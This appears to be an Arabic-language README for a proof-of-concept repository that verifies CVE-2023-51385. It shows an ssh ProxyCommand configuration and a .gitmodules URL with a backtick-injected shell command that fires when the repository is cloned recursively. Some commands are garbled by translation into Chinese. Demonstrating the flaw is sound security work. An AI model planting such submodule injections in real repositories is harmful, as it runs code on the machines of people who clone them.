CVE-2023-51385_test

التحقق من CVE-2023-51385

أولاً، أضف ما يلي إلى ~/.ssh/config

主机 *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

يحتوي بيان ملف .gitmodules على حقن أوامر:

url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

بعد اكتمال التكوين، نفّذ الأمر التالي لتفعيل الثغرة:

git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules

إذا تم التنفيذ بنجاح، سيتم إنشاء ملف cve.txt في مجلد CVE-2023-51385_test

![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )

للحصول على التفاصيل، راجع مدونة البحث:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html